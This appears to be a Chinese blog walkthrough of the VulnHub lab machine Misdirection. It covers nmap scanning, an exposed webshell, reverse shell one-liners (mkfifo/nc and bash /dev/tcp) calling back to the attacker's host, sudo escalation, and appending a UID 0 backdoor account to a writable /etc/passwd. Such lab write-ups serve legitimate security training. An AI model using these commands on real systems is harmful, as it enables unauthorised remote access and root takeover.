红队打靶:Misdirection打靶思路详解(vulnhub)

目录

写在开头

第一步:主机发现与端口扫描 

第二步:Web渗透(80端口,战术放弃)

第三步:Web渗透(8080端口)

第四步:sudo bash提权 

第五步:/etc/passwd利用提权

总结与思考

写在开头

   本篇博客在自己的理解之上根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。Misdirection靶机也很简单,对于我们的启发就是渗透优先级的选择,当遇到攻击面暴露较多的路径时,可以先放一放,避免走进死胡同死磕不得解,应当优先渗透相对容易的方向或容易尝试的方向。本文涉及到的知识点包括:信息收集的技巧、常见反弹shell语句、sudo bash提权、viminfo敏感信息、/etc/passwd可写提权等,完整的打靶思路详见:

「红队笔记」靶机精讲:Misdirection - 渗透目标选择的优先级很重要,死磕一处和快速跳跃的权衡和智慧。_哔哩哔哩_bilibili

  本文针对的靶机源于vulnhub,详情见: 

Misdirection: 1 ~ VulnHub

 下载链接见:

https://download.vulnhub.com/misdirection/Misdirection.zip

  这个靶机好像用VMware和Virtual Box都可以,我就用VMware了,将靶机的网络设置为NAT模式,靶机打开如下图所示: 

第一步:主机发现与端口扫描 

  常规思路,这里不细讲了。我kali的ip是10.10.10.128,主机发现靶机的ip是10.10.10.155,扫描出开放的TCP端口仅有22,80,3306和8080,具体命令如下:

nmap -sn 10.10.10.0/24    //主机发现
nmap -sT --min-rate 10000 10.10.10.155      //TCP全端口扫描
nmap -sT -sC -sV -O -p22,80,3306,8080 10.10.10.155      //用默认脚本扫描服务信息、操作系统版本
nmap --script=vuln -p22,80,3306,8080 10.10.10.155  //漏洞脚本扫描
nmap -sU --top-ports 20 10.10.10.155    //探测UDP最常见的20个端口的开放情况

   信息挺多的,核心还是web端,可能80端口和8080端口都能作为攻击的入口点,同时3306是MySQL,也有可能存储一些关键信息。

第二步:Web渗透(80端口,战术放弃)

  常规思路还是先看web端,浏览器访问靶机ip,界面如下:

 感觉像是个挺正规的产品介绍网站,主要产品貌似是“免费可信赖的在线投票系统”。感觉像是有CMS,页面最下方有个banner说明这个网站使用web2py部署的:

 点击链接可以查看web2py,很遗憾,这不是什么CMS,好像是个开发框架,不太了解,那我们回头再研究相关漏洞:

 再回到初始页面,还是感觉页面的东西还是非常多,还有很多注册页面,甚至还有一个Source Code可以查看E-vote的源代码,在github上:

另外回头看一眼刚刚nmap漏洞扫描的结果,可以发现一些敏感的路径。比如/admin之类的

 尝试访问漏洞脚本扫描中的几个目录枚举路径,很遗憾,都没啥收获:

 另外漏洞脚本也暴露潜在的sql注入信息,感觉这个web的80端口入口点太多了,我有点不知所措了。另外目录爆破还没做呢。

  世上无难事,只要肯放弃。于是我们先摆烂,跳过对80端口的渗透,因为突破口不太明显,可以尝试的地方比较多,容易在一个地方死磕浪费时间,不如先战略性放弃,如果8080端口没有突破口再回来看。

第三步:Web渗透(8080端口)

   于是乎我们战略性跳过80端口,先看看8080端口有没有明显的突破口,访问浏览器,靶机ip:8080,就是个常规的apache页面:

   回看nmap漏洞扫描脚本中关于8080端口的信息:发现有许多潜在的敏感目录:

依次尝试访问,最后在debug目录发现了神奇的景象:

 直接把shell暴露在web页面了,这也太关键了。尝试输入whoami可以看到这是www-data的目录, 怪不得这个靶机的名称叫Misdirection,关键点在这儿呢!前面80端口复杂的web页面的估计都是误导哈哈哈。那么我们尝试反弹shell,把这个webshell迁移到我们的kali中,首先在kali中nc监听4444端口:

   然后在webshell中输入以下两个命令中的任意一个均可实现反弹shell(别忘了修改ip为你的kali):

//以下两行任意一行都可以
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.128 4444 >/tmp/f
bash -c "bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"

第四步:sudo bash提权 

  接下来就是提权了,通常来说www-data的权限是很小的。我们尝试sudo -l

 看来是一波送分了。竟然可以免密运行bash,切换到brexit用户中,那么我们尝试提权:

sudo -u brexit /bin/bash

提权成功了!不过这个shell的交互性不是很好,我们尝试用python提高交互性:

python -c "import pty;pty.spawn('/bin/bash')"

  查看user flag,就在brexit的家目录下:

第五步:/etc/passwd利用提权

经过一番搜索无果(sudo -l ,自动任务等)之后,在家目录中发现了一个隐藏的敏感文件,即.viminfo,这个文件应该是vim的历史信息。

 查看.viminfo可以发现brexit这个用户曾经用vim编辑过/etc/passwd:

 莫非当前brexit用户拥有对/etc/passwd的写权限?查看/etc/passwd的权限:

  还真是有写权限,恰好属组就是brexit,那么问题就简单了,我们可以直接在/etc/passwd中追加一个账号作为root账号即可。也可以直接修改root的密码,此处我们就追加一条信息,账号是myroot,密码设置为123456,用openssl生成对应的hash如下:

openssl passwd -1 123456

  然后我们仿照/etc/passwd的格式生成一个账号backdoor和密码123456:

backdoor:$1$oFd2MoKR$eVjr6Fe7JWwjAPEfaTQSy.:0:0:root:/root:/bin/bash 

  接着把这条记录添加到/etc/passwd中,可以直接vim编辑,也可以用echo追加(特别注意,echo内容的引号必须是单引号,不能是双引号):

echo 'backdoor:$1$oFd2MoKR$eVjr6Fe7JWwjAPEfaTQSy.:0:0:root:/root:/bin/bash' >> /etc/passwd

添加完成后用su切换为backdoor用户,输入密码123456即可提权:

 提权成功,flag位于/root目录下:

至此打靶完成。

总结与思考

  这个靶机如果死磕80端口的话可能很难成功,但是题目名字Misdirection本身就给了我们提示。何谓”误导“?看似复杂,不知道从何下手的80端口就是误导。这个靶机的关键点就是发现8080端口下的/debug目录直接暴露了webshell。本次打靶的启发就是渗透优先级的选择:优先渗透攻击面明显、相对容易操作、步骤简单的攻击面,把复杂,不知从何入手的端口的渗透优先级降低。最后总结一下打靶过程:

第一步:主机发现和端口扫描。常规思路,发现四个常规端口22,80,3306,8080。重点关注漏洞扫描脚本中的目录枚举。

第二步:80端口渗透。看着就头大,信息非常多,战略性暂时放弃。

第三步:8080端口渗透。发现关键目录/debug存在webshell,直接暴露了www-data的shell,构造反弹shell将此webshell转移至本地kali交互。

第四步:sudo提权,发现可以sudo bash转换到brexit用户,初步提权到了brexit的权限。

第五步:可写/etc/passwd提权,在brexit家目录发现敏感文件.viminfo,暴露了对passwd的编辑历史,说明passwd对于用户brexit可写,于是追加高权限的用户信息到passwd,再su即可提权。

    这个靶机到这里就结束了。说实话,这个靶机的总结我拖了好几天才写完,主要还是感觉动力不足,没有太多的额外知识点,关键在于不能死磕80端口。总结一篇博客真的挺耗时的,恳请各位读者多多点赞关注支持啦。学渗透还是要实操呀。如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言!

   

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/116240.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一文搞懂UART通信协议

目录 1、UART简介 2、UART特性 3、UART协议帧 3.1、起始位 3.2、数据位 3.3、奇偶校验位 3.4、停止位 4、UART通信步骤 1、UART简介 UART(Universal Asynchronous Receiver/Transmitter,通用异步收发器)是一种双向、串行、异步的通信…

【c++Leetcode】141. Linked List Cycle

问题入口 思想:Floyds Tortoise and Hare 这个算法简单来说就是设置一个慢指针(一次移动一个位置)和一个快指针(一次移动两个位置)。在遍历过程中,如果慢指针和快指针都指向同一个元素,证明环…

spacy.load(“en_core_web_trf“)报错TypeError: issubclass() arg 1 must be a class

使用spacy时遇到的问题 写在最前面: 安装spacy和en_core_web_trf时需要保证二者版本一致 安装及查看对应spacy版本 安装 pip install spacy查看版本 import spacy spacy.__version__安装en_core_web_trf 直接安装(如果可以的话) pytho…

Flutter视图原理之StatefulWidget,InheritedWidget

目录 StatefulElement1. 构造函数2. build3. _firstBuild3. didChangeDependencies4. setState InheritedElement1. Element类2. _updateInheritance3. InheritedWidget数据向下传递3.1 dependOnInheritedWidgetOfExactType 4. InheritedWidget的状态绑定4.1. ProxyElement 在f…

.net6部署到linux上(CentOS Linux 7)

目录 一、先在linux上配置.net环境 添加 Microsoft 包存储库 安装 SDK 安装运行时 检查 SDK 版本可使用终端查看当前安装的 .NET SDK 版本。 打开终端并运行以下命令。 二、创建.net6 mvc项目 并发布 创建项目 修改默认端口 打包发布到文件夹 运行打包项目查看项目是否…

macOS telnet替代方式

前言 经过使用Linux,常常用Linux的telnet查看端口畅通,是否有防火墙,但是在mac上已经没有这个命令了,那么怎么使用这个命令或者有没有其他替代呢,win和linux是否可以使用相同的替代。macOS可以原生用nc命令替代&#…

C算法:使用选择排序实现从(大到小/从小到大)排序数组,且元素交换不可使用第三变量。

需求&#xff1a; 使用选择排序实现从(大到小/从小到大)排序&#xff0c;且元素交换不可使用第三变量 (异或交换法) 代码实现&#xff1a; #include <stdio.h> void maopao(int* array,int len,int(*swap)(int a,int b)) {int i,j;for(i0;i<len-1;i){for(ji1;j<…

【数据结构与算法】two X 树的遍历以及功能实现

前言&#xff1a; 前面我们已经提到过树、二叉树的概念及结构、堆排序、Top-k问题等的知识点&#xff0c;这篇文章我们来详解一下二叉树的链式结构等问题。 &#x1f4a5;&#x1f388;个人主页:​​​​​​Dream_Chaser&#xff5e; &#x1f388;&#x1f4a5; ✨✨专栏:htt…

【智能家居】

面向Apple developer学习&#xff1a;AirPlay | Apple Developer Documentation Airplay AirPlay允许人们将媒体内容从iOS、ipad、macOS和tvOS设备无线传输到支持AirPlay的Apple TV、HomePod以及电视和扬声器上。 网页链接的最佳实践 首选系统提供的媒体播放器。内置的媒体播…

SpringCloud和Kubernetes的区别

又见小道仙&#xff1a; https://blog.csdn.net/Tomwildboar/article/details/129531315 对于SpringCloud在实际项目中并未使用过&#xff0c;只是自学过SpringCloud和SpringCloud Alibaba&#xff0c;也基于学习搭建过demo。 对于Kubernetes&#xff0c;目前这家公司就是使用…

Web APIs——事件监听以及案例

1、事件监听 什么是事件&#xff1f; 事件是在编程时系统内发生的动作或者发生的事情 比如用户在网页上单击一个按钮 什么是事件监听&#xff1f; 就是让程序检测是否有事件产生&#xff0c;一旦有事件触发&#xff0c;就立即调用一个函数做出响应&#xff0c;也称为绑定事…

【RocketMQ集群】Linux搭建RocketMQ双主双从集群

在当今大数据时代&#xff0c;消息队列系统成为了构建高可用、可扩展和可靠的分布式应用的重要组件之一。而Apache RocketMQ作为一款开源的分布式消息中间件&#xff0c;以其高吞吐量、低延迟和可靠性而备受青睐。为了满足大规模应用的需求&#xff0c;搭建RocketMQ集群是一种常…

基于springboot实现基于Java的超市进销存系统项目【项目源码+论文说明】计算机毕业设计

基于springboot实现基于Java的超市进销存系统演示 摘要 随着信息化时代的到来&#xff0c;管理系统都趋向于智能化、系统化&#xff0c;超市进销存系统也不例外&#xff0c;但目前国内仍都使用人工管理&#xff0c;市场规模越来越大&#xff0c;同时信息量也越来越庞大&#x…

Weights and Biases使用教程

Weights and Biases使用教程 安装和初始化实验跟踪跟踪指标跟踪超参数可视化模型检查日志 数据和模型版本控制使用Sweeps进行超参数调优数据可视化report Weights and Biases已经成为AI社区中最受欢迎的库之一。该团队在创建了一个平台&#xff0c;使机器深度学习学习工程师能够…

云安全—docker原理

0x00 前言 因为要学习docker相关的检测技术&#xff0c;所以需要对docker的原理进行基本的原因&#xff0c;不求彻底弄懂&#xff0c;但求懂点皮毛&#xff0c;如有不妥之处&#xff0c;还请斧正。 0x01 docker概述 docker起源 docker公司是在旧金山&#xff0c;由法裔美籍…

Java操作Elasticsearch(新增数据)

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…

广告掘金全自动挂机项目,单设备30+【软件脚本+技术教程】

广告掘金项目是一种越来越受欢迎的赚钱方式&#xff0c;它通过观看广告视频来获取收益。然而&#xff0c;手动观看每个广告视频可能会耗费大量时间和精力。为了简化操作并提升效率&#xff0c;我们可以利用全自动挂机脚本来完成这一任务。接下来&#xff0c;将为您介绍如何使用…

PLC单按钮启停算法汇总

单按钮启停在三菱PLC里可以通过简单的取反指令"ALT"实现,西门子PLC如何实现ALT指令,请参考下面文章链接,这篇博客我们汇总常用的单按钮启停实现方法,希望大家读了本篇博客后有所收获。 博途ALT指令 博途S7-1200/1500PLC 取反指令(ALT)-CSDN博客SMART PLC的ALT指…

安卓 实现60s倒计时的CountDownTimer(小坑)

安卓 实现60s倒计时的CountDownTimer&#xff08;小坑&#xff09; 前言一、CountDownTimer 是什么&#xff1f;二、代码示例1.使用2.小坑的点误差及时取消 总结 前言 前段时间写倒计时没有用线程&#xff0c;想换一种实现方式结果踩了个小坑&#xff0c;特此记录。 一、Count…

pymavlink简单使用

环境 windows10 python3.11 pymavlink2.4.40 工具 虚拟串口工具 Virtual Serial Port Driver 6.9 串口/网络调试助手 sscom5.13.1.exe 串口通信 虚拟串口 COM1, COM2 调试助手连接COM2 pymavlink连接COM1 from pymavlink import mavutil import timeconnect mavut…